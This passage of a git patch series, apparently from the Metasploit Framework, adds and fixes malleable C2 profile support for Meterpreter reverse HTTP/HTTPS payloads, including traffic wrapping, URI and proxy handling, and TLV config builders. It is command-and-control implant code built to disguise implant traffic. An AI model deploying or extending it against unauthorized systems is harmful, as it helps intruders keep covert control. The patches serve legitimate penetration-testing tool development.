a/lib/msf/core/handler/reverse_http.rb +++ b/lib/msf/core/handler/reverse_http.rb @@ -199,7 +199,7 @@ def luri end def all_uris - all = [luri] + all = ["#{luri}/"] if self.c2_profile uris = self.c2_profile.uris.map {|u| construct_luri(u)} diff --git a/lib/rex/post/meterpreter/client.rb b/lib/rex/post/meterpreter/client.rb index 17b71b7e950d8..950b4e6bb1f87 100644 --- a/lib/rex/post/meterpreter/client.rb +++ b/lib/rex/post/meterpreter/client.rb @@ -121,7 +121,11 @@ def cleanup_meterpreter # encoding of data # def wrap_packet(raw_bytes) - self.c2_profile.wrap_outbound_get(raw_bytes) if self.c2_profile + if self.c2_profile + raw_bytes = self.c2_profile.wrap_outbound_get(raw_bytes) + end + + raw_bytes end # @@ -130,7 +134,11 @@ def wrap_packet(raw_bytes) # decoding of data # def unwrap_packet(raw_bytes) - self.c2_profile.unwrap_inbound_post(raw_bytes) if self.c2_profile + if self.c2_profile + self.c2_profile.unwrap_inbound_post(raw_bytes) + end + + raw_bytes end # From e54e9b7b760741f356f1fedeb67b68003be0adc3 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Fri, 26 Sep 2025 15:30:55 -0400 Subject: [PATCH 24/65] Handle IPv6 addresses in the URL --- lib/rex/payloads/meterpreter/config.rb | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/lib/rex/payloads/meterpreter/config.rb b/lib/rex/payloads/meterpreter/config.rb index 3de401b89c6ea..9bea68d633207 100644 --- a/lib/rex/payloads/meterpreter/config.rb +++ b/lib/rex/payloads/meterpreter/config.rb @@ -91,8 +91,7 @@ def add_c2_tlv(tlv, opts) c2_tlv.add_tlv(MET::TLV_TYPE_C2_RETRY_TOTAL, opts[:retry_total]) c2_tlv.add_tlv(MET::TLV_TYPE_C2_RETRY_WAIT, opts[:retry_wait]) - url = "#{opts[:scheme]}://#{lhost}" - url << ":#{opts[:lport]}" if opts[:lport] + url = "#{opts[:scheme]}://#{Rex::Socket.to_authority(lhost, opts[:lport])}" url << "#{opts[:uri]}/" if opts[:uri] url << "?#{opts[:scope_id]}" if opts[:scope_id] From e2cd130fb2e00ac7ef89f58ab17fe47b22e592c4 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Fri, 26 Sep 2025 17:28:31 -0400 Subject: [PATCH 25/65] Switch PROXY_HOST to PROXY_URL which is more accurate Still not fully accurate though since socks seems to be prefixed with socks= and not socks:// --- lib/rex/payloads/meterpreter/config.rb | 6 +++--- lib/rex/post/meterpreter/client_core.rb | 8 ++++---- lib/rex/post/meterpreter/packet.rb | 2 +- 3 files changed, 8 insertions(+), 8 deletions(-) diff --git a/lib/rex/payloads/meterpreter/config.rb b/lib/rex/payloads/meterpreter/config.rb index 9bea68d633207..1af6af760b840 100644 --- a/lib/rex/payloads/meterpreter/config.rb +++ b/lib/rex/payloads/meterpreter/config.rb @@ -100,14 +100,14 @@ def add_c2_tlv(tlv, opts) # if the transport URI is for a HTTP payload we need to add a stack # of other stuff that can only be set in MSF, not in the C2 profile if url.start_with?('http') - proxy_host = '' + proxy_url = '' if opts[:proxy_host] && opts[:proxy_port] prefix = 'http://' prefix = 'socks=' if opts[:proxy_type].to_s.downcase == 'socks' - proxy_host = "#{prefix}#{opts[:proxy_host]}:#{opts[:proxy_port]}" + proxy_url = "#{prefix}#{opts[:proxy_host]}:#{opts[:proxy_port]}" end - c2_tlv.add_tlv(MET::TLV_TYPE_C2_PROXY_HOST, proxy_host) unless (proxy_host || '').empty? + c2_tlv.add_tlv(MET::TLV_TYPE_C2_PROXY_URL, proxy_url) unless (proxy_url || '').empty? c2_tlv.add_tlv(MET::TLV_TYPE_C2_PROXY_USER, opts[:proxy_user]) unless (opts[:proxy_user] || '').empty? c2_tlv.add_tlv(MET::TLV_TYPE_C2_PROXY_PASS, opts[:proxy_pass]) unless (opts[:proxy_pass] || '').empty? diff --git a/lib/rex/post/meterpreter/client_core.rb b/lib/rex/post/meterpreter/client_core.rb index 3a6b5a6a7e6f3..ca75f44766aec 100644 --- a/lib/rex/post/meterpreter/client_core.rb +++ b/lib/rex/post/meterpreter/client_core.rb @@ -147,7 +147,7 @@ def transport_list } response.each(TLV_TYPE_C2) { |t| - # TODO: Consider adding more informationt to the output for malleable profiles? + # TODO: Consider adding more information to the output for malleable profiles? # TLV_TYPE_C2_GET, TLV_TYPE_C2_POST, TLV_TYPE_C2_PREFIX, TLV_TYPE_C2_SUFFIX, TLV_TYPE_C2_ENC, # TLV_TYPE_C2_SKIP_COUNT, TLV_TYPE_C2_UUID_COOKIE, TLV_TYPE_C2_UUID_GET, TLV_TYPE_C2_UUID_HEADER # Not sure if this stuff is useful for this display though. @@ -157,7 +157,7 @@ def transport_list :retry_total => t.get_tlv_value(TLV_TYPE_C2_RETRY_TOTAL), :retry_wait => t.get_tlv_value(TLV_TYPE_C2_RETRY_WAIT), :ua => t.get_tlv_value(TLV_TYPE_C2_UA), - :proxy_host => t.get_tlv_value(TLV_TYPE_C2_PROXY_HOST), + :proxy_host => t.get_tlv_value(TLV_TYPE_C2_PROXY_URL), :proxy_user => t.get_tlv_value(TLV_TYPE_C2_PROXY_USER), :proxy_pass => t.get_tlv_value(TLV_TYPE_C2_PROXY_PASS), :cert_hash => t.get_tlv_value(TLV_TYPE_C2_CERT_HASH), @@ -940,8 +940,8 @@ def transport_prepare_request(command_id, opts={}) if opts[:proxy_host] && opts[:proxy_port] prefix = 'http://' prefix = 'socks=' if opts[:proxy_type].to_s.downcase == 'socks' - proxy = "#{prefix}#{opts[:proxy_host]}:#{opts[:proxy_port]}" - c2_tlv.add_tlv(TLV_TYPE_C2_PROXY_HOST, proxy) + proxy = "#{prefix}#{Rex::Socket.to_authority(opts[:proxy_host], opts[:proxy_port])}" + c2_tlv.add_tlv(TLV_TYPE_C2_PROXY_URL, proxy) if opts[:proxy_user] c2_tlv.add_tlv(TLV_TYPE_C2_PROXY_USER, opts[:proxy_user]) diff --git a/lib/rex/post/meterpreter/packet.rb b/lib/rex/post/meterpreter/packet.rb index 42cc91195ef63..4b46d446ecb53 100644 --- a/lib/rex/post/meterpreter/packet.rb +++ b/lib/rex/post/meterpreter/packet.rb @@ -121,7 +121,7 @@ module Meterpreter TLV_TYPE_C2_RETRY_WAIT = TLV_META_TYPE_UINT | 707 # how long to wait between reconnect attempts TLV_TYPE_C2_URL = TLV_META_TYPE_STRING | 708 # base URL of this C2 (scheme://host:port/uri) TLV_TYPE_C2_URI = TLV_META_TYPE_STRING | 709 # URI to append to base URL (for HTTP(s)), if any -TLV_TYPE_C2_PROXY_HOST = TLV_META_TYPE_STRING | 710 # Host name of proxy +TLV_TYPE_C2_PROXY_URL = TLV_META_TYPE_STRING | 710 # Proxy URL TLV_TYPE_C2_PROXY_USER = TLV_META_TYPE_STRING | 711 # Proxy user name TLV_TYPE_C2_PROXY_PASS = TLV_META_TYPE_STRING | 712 # Proxy password TLV_TYPE_C2_GET = TLV_META_TYPE_GROUP | 713 # A grouping of params associated with GET requests From a63cc50fcb24770db6aa390416c2f38bf4bbc116 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Wed, 1 Oct 2025 09:52:09 -0400 Subject: [PATCH 26/65] Ensure slashes are where they need to be --- lib/rex/payloads/meterpreter/config.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/rex/payloads/meterpreter/config.rb b/lib/rex/payloads/meterpreter/config.rb index 1af6af760b840..97f55f7dd0ef7 100644 --- a/lib/rex/payloads/meterpreter/config.rb +++ b/lib/rex/payloads/meterpreter/config.rb @@ -92,7 +92,7 @@ def add_c2_tlv(tlv, opts) c2_tlv.add_tlv(MET::TLV_TYPE_C2_RETRY_WAIT, opts[:retry_wait]) url = "#{opts[:scheme]}://#{Rex::Socket.to_authority(lhost, opts[:lport])}" - url << "#{opts[:uri]}/" if opts[:uri] + url << "/#{opts[:uri].delete_prefix('/').delete_suffix('/')}/" if opts[:uri] url << "?#{opts[:scope_id]}" if opts[:scope_id] c2_tlv.add_tlv(MET::TLV_TYPE_C2_URL, url) From 90038c3428bec6efc838af1cf51abea50de34dba Mon Sep 17 00:00:00 2001 From: OJ Reeves Date: Sat, 21 Mar 2026 15:08:23 +1000 Subject: [PATCH 27/65] Add C2 profile support to win https --- modules/payloads/singles/windows/meterpreter_reverse_https.rb | 2 ++ .../payloads/singles/windows/x64/meterpreter_reverse_https.rb | 2 ++ 2 files changed, 4 insertions(+) diff --git a/modules/payloads/singles/windows/meterpreter_reverse_https.rb b/modules/payloads/singles/windows/meterpreter_reverse_https.rb index f98f6a64dd630..027e625618d84 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_https.rb @@ -28,6 +28,7 @@ def initialize(info = {}) ) register_options([ + OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']), OptString.new('EXTINIT', [false, 'Initialization strings for extensions']) ]) @@ -45,6 +46,7 @@ def generate(opts = {}) def generate_config(opts = {}) opts[:uuid] ||= generate_payload_uuid + opts[:c2_profile] = datastore['MALLEABLEC2'] # create the configuration block config_opts = { diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb index ab26531892a8c..08a3c305e6610 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb @@ -28,6 +28,7 @@ def initialize(info = {}) ) register_options([ + OptPath.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']), OptString.new('EXTINIT', [false, 'Initialization strings for extensions']) ]) @@ -45,6 +46,7 @@ def generate(opts = {}) def generate_config(opts = {}) opts[:uuid] ||= generate_payload_uuid + opts[:c2_profile] = datastore['MALLEABLEC2'] # create the configuration block config_opts = { From 1b7d86dbf114f9b48bae8ef11ded0e1e88b02247 Mon Sep 17 00:00:00 2001 From: OJ Reeves Date: Sat, 21 Mar 2026 15:45:34 +1000 Subject: [PATCH 28/65] Fix bug unwrapping bytes in post --- lib/rex/post/meterpreter/client.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/rex/post/meterpreter/client.rb b/lib/rex/post/meterpreter/client.rb index 950b4e6bb1f87..846b57fd95156 100644 --- a/lib/rex/post/meterpreter/client.rb +++ b/lib/rex/post/meterpreter/client.rb @@ -135,7 +135,7 @@ def wrap_packet(raw_bytes) # def unwrap_packet(raw_bytes) if self.c2_profile - self.c2_profile.unwrap_inbound_post(raw_bytes) + raw_bytes = self.c2_profile.unwrap_inbound_post(raw_bytes) end raw_bytes From 851b7799f00c28f034a80dfaf311ed941db438bc Mon Sep 17 00:00:00 2001 From: OJ Reeves Date: Sun, 22 Mar 2026 09:42:26 +1000 Subject: [PATCH 29/65] Fix hex escape parasing in C2 profile string handling The \x sequence only uses 2 hex digits, but the slice was taking 4 by mistake. It should have been 2 instead. --- lib/msf/core/payload/malleable_c2.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/payload/malleable_c2.rb b/lib/msf/core/payload/malleable_c2.rb index b82eef1f78293..4e08d1a4f13a2 100644 --- a/lib/msf/core/payload/malleable_c2.rb +++ b/lib/msf/core/payload/malleable_c2.rb @@ -25,7 +25,7 @@ def self.from_c2_string_value(s) s.gsub(/\\(x(..)|r|n|t|"|\\)/) {|b| case b[1] when 'x' - [b[2, 4].to_i(16)].pack('C') + [b[2, 2].to_i(16)].pack('C') when 'r' "\r" when 't' From b248314e590e8cfd18bdd438984c1f97fce19f5f Mon Sep 17 00:00:00 2001 From: OJ Reeves Date: Sun, 22 Mar 2026 09:44:54 +1000 Subject: [PATCH 30/65] Simplify prefix/suffix checks Clearer checks against suffix/prefixes while also avoiding the edge-case where suffix.length could be zero, resulting in raw_bytes[-0, length] behaving unexpectedly. --- lib/msf/core/payload/malleable_c2.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/msf/core/payload/malleable_c2.rb b/lib/msf/core/payload/malleable_c2.rb index 4e08d1a4f13a2..e96f238fa145f 100644 --- a/lib/msf/core/payload/malleable_c2.rb +++ b/lib/msf/core/payload/malleable_c2.rb @@ -202,13 +202,13 @@ def wrap_outbound_get(raw_bytes) def unwrap_inbound_post(raw_bytes) prepends = self.http_post&.client&.output&.prepend || [] prefix = prepends.map {|p| p.args[0]}.join('') - unless prefix.empty? || (raw_bytes[0, prefix.length] <=> prefix) != 0 + if !prefix.empty? && raw_bytes.start_with?(prefix) raw_bytes = raw_bytes[prefix.length, raw_bytes.length] end appends = self.http_post&.client&.output&.append || [] suffix = appends.map {|p| p.args[0]}.join('') - unless suffix.empty? || (raw_bytes[-suffix.length, raw_bytes.length] <=> suffix) != 0 + if !suffix.empty? && raw_bytes.end_with?(suffix) raw_bytes = raw_bytes[0, raw_bytes.length - suffix.length] end From b44172bc1c127832eb5e6c8f647448d1ef86edde Mon Sep 17 00:00:00 2001 From: OJ Reeves Date: Sun, 22 Mar 2026 09:46:55 +1000 Subject: [PATCH 31/65] Short-circuit on first match of directives Faster impl of has_directive --- lib/msf/core/payload/malleable_c2.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/payload/malleable_c2.rb b/lib/msf/core/payload/malleable_c2.rb index e96f238fa145f..7d8e70c61b22c 100644 --- a/lib/msf/core/payload/malleable_c2.rb +++ b/lib/msf/core/payload/malleable_c2.rb @@ -359,7 +359,7 @@ def get_directive(type) end def has_directive(type) - @entries.find_all {|d| d.kind_of?(ParsedDirective) && d.type == type.downcase}.length > 0 + @entries.any? {|d| d.kind_of?(ParsedDirective) && d.type == type.downcase} end def get_section(name) From e3c6c0a137473b8f092c1698694fb95a76dfd47a Mon Sep 17 00:00:00 2001 From: OJ Reeves Date: Sun, 22 Mar 2026 09:50:18 +1000 Subject: [PATCH 32/65] Fix base_uri mutation The << operator would mutate the base_uri, corrupting the profile's stored URI value in cases where add_uri is called more than once. Which it likely would be! This dupes the value instead of referencing it. I hate ruby. --- lib/msf/core/payload/malleable_c2.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/payload/malleable_c2.rb b/lib/msf/core/payload/malleable_c2.rb index 7d8e70c61b22c..649c6e75cd843 100644 --- a/lib/msf/core/payload/malleable_c2.rb +++ b/lib/msf/core/payload/malleable_c2.rb @@ -312,7 +312,7 @@ def add_header(section, group_tlv) end def add_uri(base_uri, section, group_tlv) - uri = base_uri || "" + uri = (base_uri || "").dup query_string = section.get_directive('parameter').map {|dir| "#{dir.args[0]}=#{URI.encode_uri_component(dir.args[1])}" }.join("&") unless query_string.empty? uri << "?" From e1f231f881b6d62dbc5e8285ef0e51e5847a9ab0 Mon Sep 17 00:00:00 2001 From: OJ Reeves Date: Sun, 22 Mar 2026 13:48:26 +1000 Subject: [PATCH 33/65] Extract GET/POST TLV builders Tidies up the to_tlv method into more manageable chunks. --- lib/msf/core/payload/malleable_c2.rb | 122 ++++++++++++++------------- 1 file changed, 63 insertions(+), 59 deletions(-) diff --git a/lib/msf/core/payload/malleable_c2.rb b/lib/msf/core/payload/malleable_c2.rb index 649c6e75cd843..227591523d0df 100644 --- a/lib/msf/core/payload/malleable_c2.rb +++ b/lib/msf/core/payload/malleable_c2.rb @@ -230,72 +230,76 @@ def to_tlv c2_uri = self.get_set('uri') self.get_section('http-get') {|http_get| - get_tlv = MET::GroupTlv.new(MET::TLV_TYPE_C2_GET) - get_uri = http_get.get_set('uri') || c2_uri - http_get.get_section('client') {|client| - self.add_http_tlv(get_uri, client, get_tlv) - - prepends = self.http_get&.server&.output&.prepend || [] - prefix_len = prepends.map {|p| p.args[0].length}.sum - get_tlv.add_tlv(MET::TLV_TYPE_C2_PREFIX_SKIP, prefix_len) unless prefix_len == 0 - - appends = self.http_get&.server&.output&.append || [] - suffix_len = appends.map {|s| s.args[0].length}.sum - get_tlv.add_tlv(MET::TLV_TYPE_C2_SUFFIX_SKIP, suffix_len) unless suffix_len == 0 - - client.get_section('metadata') {|meta| - enc_flags = MET::C2_ENCODING_NONE - enc_flags = MET::C2_ENCODING_B64URL if meta.has_directive('base64url') - enc_flags = MET::C2_ENCODING_B64 if meta.has_directive('base64') - - get_tlv.add_tlv(MET::TLV_TYPE_C2_ENC, enc_flags) if enc_flags != MET::C2_ENCODING_NONE - get_tlv.add_tlv(MET::TLV_TYPE_C2_UUID_GET, meta.get_directive('parameter')[0].args[0]) if meta.has_directive('parameter') - get_tlv.add_tlv(MET::TLV_TYPE_C2_UUID_HEADER, meta.get_directive('header')[0].args[0]) if meta.has_directive('header') - # assume uri-append for POST otherwise. - } - } - - tlv.tlvs << get_tlv + tlv.tlvs << build_get_tlv(http_get, c2_uri) } self.get_section('http-post') {|http_post| - post_tlv = MET::GroupTlv.new(MET::TLV_TYPE_C2_POST) - post_uri = http_post.get_set('uri') || c2_uri - http_post.get_section('client') {|client| - self.add_http_tlv(post_uri, client, post_tlv) - - prepends = self.http_post&.server&.output&.prepend || [] - prefix_len = prepends.map {|p| p.args[0].length}.sum - post_tlv.add_tlv(MET::TLV_TYPE_C2_PREFIX_SKIP, prefix_len) unless prefix_len == 0 - - appends = self.http_post&.server&.output&.append || [] - suffix_len = appends.map {|s| s.args[0].length}.sum - post_tlv.add_tlv(MET::TLV_TYPE_C2_SUFFIX_SKIP, suffix_len) unless suffix_len == 0 - - client.get_section('output') {|client_output| - enc_flags = MET::C2_ENCODING_NONE - enc_flags = MET::C2_ENCODING_B64URL if client_output.has_directive('base64url') - enc_flags = MET::C2_ENCODING_B64 if client_output.has_directive('base64') - - post_tlv.add_tlv(MET::TLV_TYPE_C2_ENC, enc_flags) if enc_flags != MET::C2_ENCODING_NONE - - prepend_data = client_output.get_directive('prepend').map{|d|d.args[0]}.join("") - post_tlv.add_tlv(MET::TLV_TYPE_C2_PREFIX, prepend_data) unless prepend_data.empty? - append_data = client_output.get_directive('append').map{|d|d.args[0]}.join("") - post_tlv.add_tlv(MET::TLV_TYPE_C2_SUFFIX, append_data) unless append_data.empty? - } - - client.get_section('id') {|client_id| - post_tlv.add_tlv(MET::TLV_TYPE_C2_UUID_GET, client_id.get_directive('parameter')[0].args[0]) if client_id.has_directive('parameter') - post_tlv.add_tlv(MET::TLV_TYPE_C2_UUID_HEADER, client_id.get_directive('header')[0].args[0]) if client_id.has_directive('header') - # assume uri-append for POST otherwise given that we always put the TLV payload in the body? - } + tlv.tlvs << build_post_tlv(http_post, c2_uri) + } + + tlv + end + + private + + def build_get_tlv(http_get, c2_uri) + get_tlv = MET::GroupTlv.new(MET::TLV_TYPE_C2_GET) + get_uri = http_get.get_set('uri') || c2_uri + http_get.get_section('client') {|client| + self.add_http_tlv(get_uri, client, get_tlv) + add_skip_tlvs(get_tlv, self.http_get&.server&.output) + + client.get_section('metadata') {|meta| + add_encoding_tlv(get_tlv, meta) + add_uuid_tlvs(get_tlv, meta) + } + } + get_tlv + end + + def build_post_tlv(http_post, c2_uri) + post_tlv = MET::GroupTlv.new(MET::TLV_TYPE_C2_POST) + post_uri = http_post.get_set('uri') || c2_uri + http_post.get_section('client') {|client| + self.add_http_tlv(post_uri, client, post_tlv) + add_skip_tlvs(post_tlv, self.http_post&.server&.output) + + client.get_section('output') {|client_output| + add_encoding_tlv(post_tlv, client_output) + + prepend_data = client_output.get_directive('prepend').map{|d|d.args[0]}.join("") + post_tlv.add_tlv(MET::TLV_TYPE_C2_PREFIX, prepend_data) unless prepend_data.empty? + append_data = client_output.get_directive('append').map{|d|d.args[0]}.join("") + post_tlv.add_tlv(MET::TLV_TYPE_C2_SUFFIX, append_data) unless append_data.empty? } - tlv.tlvs << post_tlv + client.get_section('id') {|client_id| + add_uuid_tlvs(post_tlv, client_id) + } } + post_tlv + end - tlv + def add_skip_tlvs(group_tlv, server_output) + prepends = server_output&.prepend || [] + prefix_len = prepends.map {|p| p.args[0].length}.sum + group_tlv.add_tlv(MET::TLV_TYPE_C2_PREFIX_SKIP, prefix_len) unless prefix_len == 0 + + appends = server_output&.append || [] + suffix_len = appends.map {|s| s.args[0].length}.sum + group_tlv.add_tlv(MET::TLV_TYPE_C2_SUFFIX_SKIP, suffix_len) unless suffix_len == 0 + end + + def add_encoding_tlv(group_tlv, section) + enc_flags = MET::C2_ENCODING_NONE + enc_flags = MET::C2_ENCODING_B64URL if section.has_directive('base64url') + enc_flags = MET::C2_ENCODING_B64 if section.has_directive('base64') + group_tlv.add_tlv(MET::TLV_TYPE_C2_ENC, enc_flags) if enc_flags != MET::C2_ENCODING_NONE + end + + def add_uuid_tlvs(group_tlv, section) + group_tlv.add_tlv(MET::TLV_TYPE_C2_UUID_GET, section.get_directive('parameter')[0].args[0]) if section.has_directive('parameter') + group_tlv.add_tlv(MET::TLV_TYPE_C2_UUID_HEADER, section.get_directive('header')[0].args[0]) if section.has_directive('header') end def add_http_tlv(base_uri, section, group_tlv) From b4d6074d42f912a782296725219ca5158b1e492f Mon Sep 17 00:00:00 2001 From: OJ Reeves Date: Sun, 22 Mar 2026 14:20:59 +1000 Subject: [PATCH 34/65] Fix stale C2 profile configuration --- lib/msf/core/handler/reverse_http.rb | 21 +++++++++++---------- 1 file changed, 11 insertions(+), 10 deletions(-) diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb index 6dfc464d32441..de44ac390d62e 100644 --- a/lib/msf/core/handler/reverse_http.rb +++ b/lib/msf/core/handler/reverse_http.rb @@ -206,19 +206,20 @@ def all_uris all.push(*uris) end - all + all.uniq end def c2_profile - unless @c2_profile_parsed - profile_path = datastore['MALLEABLEC2'] || '' - unless profile_path.empty? - parser = Msf::Payload::MalleableC2::Parser.new - @c2_profile_instance = parser.parse(profile_path) - end - c2_profile_parsed = true - end - @c2_profile_instance + # Only use a C2 profile if the payload explicitly registered the option. + # This prevents staged payloads from inheriting a stale MALLEABLEC2 + # value from a prior stageless payload configuration. + return nil unless self.options.include?('MALLEABLEC2') + + profile_path = datastore['MALLEABLEC2'] || '' + return nil if profile_path.empty? + + parser = Msf::Payload::MalleableC2::Parser.new + parser.parse(profile_path) end From 08930ac98f3f3f24bbf9ac0377d12779c1681740 Mon Sep 17 00:00:00 2001 From: Diego Ledda Date: Fri, 27 Mar 2026 14:43:49 +0100 Subject: [PATCH 35/65] Change MALLEABLEC2 option type to OptPath --- modules/payloads/singles/windows/meterpreter_reverse_http.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/payloads/singles/windows/meterpreter_reverse_http.rb b/modules/payloads/singles/windows/meterpreter_reverse_http.rb index afd247a846f29..df9e5b65f68ec 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_http.rb @@ -28,7 +28,7 @@ def initialize(info = {}) ) register_options([ - OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), + OptPath.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']), OptString.new('EXTINIT', [false, 'Initialization strings for extensions']) ]) From 94b5e7890b3b9fd4b119e62bd45002fbeea476cc Mon Sep 17 00:00:00 2001 From: Diego Ledda Date: Fri, 27 Mar 2026 14:44:46 +0100 Subject: [PATCH 36/65] Change MALLEABLEC2 option type to OptPath --- modules/payloads/singles/windows/meterpreter_reverse_https.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/payloads/singles/windows/meterpreter_reverse_https.rb b/modules/payloads/singles/windows/meterpreter_reverse_https.rb index 027e625618d84..12b5e66495363 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_https.rb @@ -28,7 +28,7 @@ def initialize(info = {}) ) register_options([ - OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), + OptPath.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']), OptString.new('EXTINIT', [false, 'Initialization strings for extensions']) ]) From 278900ddb6b0d2e81d0ae094b9ea93e69939af85 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Wed, 1 Jul 2026 17:44:14 -0400 Subject: [PATCH 37/65] Fix a staging-related URI problem Fixes some failing tests. One isssue can be reproduced with the windows/meterpreter/reverse_http payload and StagerURILength=28. StagerURILength=10 results in a different issue, see #21635. --- lib/msf/core/handler/reverse_http.rb | 2 ++ lib/rex/payloads/meterpreter/uri_checksum.rb | 5 ++++- 2 files changed, 6 insertions(+), 1 deletion(-) diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb index de44ac390d62e..9fdbfb2a01265 100644 --- a/lib/msf/core/handler/reverse_http.rb +++ b/lib/msf/core/handler/reverse_http.rb @@ -188,6 +188,8 @@ def construct_luri(base_uri) u.chop! end + u = "/#{u}" unless u[0] == '/' + u end diff --git a/lib/rex/payloads/meterpreter/uri_checksum.rb b/lib/rex/payloads/meterpreter/uri_checksum.rb index 8d4a2c3b9569a..a56c629c9092e 100644 --- a/lib/rex/payloads/meterpreter/uri_checksum.rb +++ b/lib/rex/payloads/meterpreter/uri_checksum.rb @@ -63,7 +63,10 @@ def process_uri_resource(uri) return h if h[:uuid] } - nil + # No embedded UUID was found in any URI segment; fall back to a + # checksum-based mode lookup against the whole URI, e.g. for the + # INITW/INITJ/CONN handshake requests which don't carry a UUID yet. + process_uuid_string(uri.gsub(/[^a-zA-Z0-9_\-]/, '')) end # Map "random" get params to static strings. From 9ba0e11d34810bdabb9eb68a1e7359d0f2982f20 Mon Sep 17 00:00:00 2001 From: OJ Reeves Date: Sat, 21 Mar 2026 15:16:04 +1000 Subject: [PATCH 38/65] Support MC2 in python --- .../core/payload/python/meterpreter_loader.rb | 141 ++++++++++++------ lib/rex/payloads/meterpreter/config.rb | 11 +- .../python/meterpreter_reverse_http.rb | 6 + .../python/meterpreter_reverse_https.rb | 6 + 4 files changed, 112 insertions(+), 52 deletions(-) diff --git a/lib/msf/core/payload/python/meterpreter_loader.rb b/lib/msf/core/payload/python/meterpreter_loader.rb index 0f3d7f1602ed7..e9ee0c9df765a 100644 --- a/lib/msf/core/payload/python/meterpreter_loader.rb +++ b/lib/msf/core/payload/python/meterpreter_loader.rb @@ -49,6 +49,35 @@ def stage_payload(opts={}) Rex::Text.encode_base64(Rex::Text.zlib_deflate(stage_meterpreter(opts))) end + def generate_config(opts={}) + ds = opts[:datastore] || datastore + opts[:uuid] ||= generate_payload_uuid(arch: ARCH_PYTHON, platform: 'python') + + unless opts[:transport_config] + scheme = opts[:scheme] || 'tcp' + if scheme == 'https' + opts[:transport_config] = [transport_config_reverse_https(opts)] + elsif scheme == 'http' + opts[:transport_config] = [transport_config_reverse_http(opts)] + else + opts[:transport_config] = [transport_config_reverse_tcp(opts)] + end + end + + config_opts = { + ascii_str: true, + include_comms_handle: false, + null_session_guid: opts[:stageless] == true, + expiration: (ds[:expiration] || ds['SessionExpirationTimeout']).to_i, + uuid: opts[:uuid], + transports: opts[:transport_config], + stageless: opts[:stageless] == true, + }.merge(meterpreter_logging_config(opts)) + + config = Rex::Payloads::Meterpreter::Config.new(config_opts) + config.to_b + end + # Get the raw Python Meterpreter stage and patch in values based on the # configuration # @@ -86,58 +115,74 @@ def stage_meterpreter(opts={}) met.sub!("# PATCH-SETUP-ENCRYPTION #", python_encryptor_loader) - met.sub!('SESSION_EXPIRATION_TIMEOUT = 604800', "SESSION_EXPIRATION_TIMEOUT = #{ds['SessionExpirationTimeout']}") - met.sub!('SESSION_COMMUNICATION_TIMEOUT = 300', "SESSION_COMMUNICATION_TIMEOUT = #{ds['SessionCommunicationTimeout']}") - met.sub!('SESSION_RETRY_TOTAL = 3600', "SESSION_RETRY_TOTAL = #{ds['SessionRetryTotal']}") - met.sub!('SESSION_RETRY_WAIT = 10', "SESSION_RETRY_WAIT = #{ds['SessionRetryWait']}") + if opts[:c2_profile] + # When a C2 profile is specified, generate a TLV config block that + # contains the full transport configuration including the profile. + unless opts[:url].to_s == '' + opts[:scheme] ||= opts[:url].to_s.split(':')[0] - uuid = opts[:uuid] || generate_payload_uuid(arch: ARCH_PYTHON, platform: 'python') - uuid = Rex::Text.to_hex(uuid.to_raw, prefix = '') - met.sub!("PAYLOAD_UUID = \'\'", "PAYLOAD_UUID = \'#{uuid}\'") + # Build a URI from the callback URL for transport config + uri = "/#{opts[:url].split('/').reject(&:empty?)[-1]}" + opts[:uri] = "#{luri}#{uri}" + end - if opts[:stageless] == true - session_guid = '00' * 16 + config_block = Rex::Text.encode_base64(generate_config(opts)) + met.sub!("CONFIG_BLOCK = ''", "CONFIG_BLOCK = '#{config_block}'") else - session_guid = SecureRandom.uuid.gsub('-', '') - end - met.sub!("SESSION_GUID = \'\'", "SESSION_GUID = \'#{session_guid}\'") - - http_user_agent = opts[:http_user_agent] || ds['HttpUserAgent'] - http_proxy_host = opts[:http_proxy_host] || ds['HttpProxyHost'] || ds['PROXYHOST'] - http_proxy_port = opts[:http_proxy_port] || ds['HttpProxyPort'] || ds['PROXYPORT'] - http_proxy_user = opts[:http_proxy_user] || ds['HttpProxyUser'] - http_proxy_pass = opts[:http_proxy_pass] || ds['HttpProxyPass'] - http_header_host = opts[:header_host] || ds['HttpHostHeader'] - http_header_cookie = opts[:header_cookie] || ds['HttpCookie'] - http_header_referer = 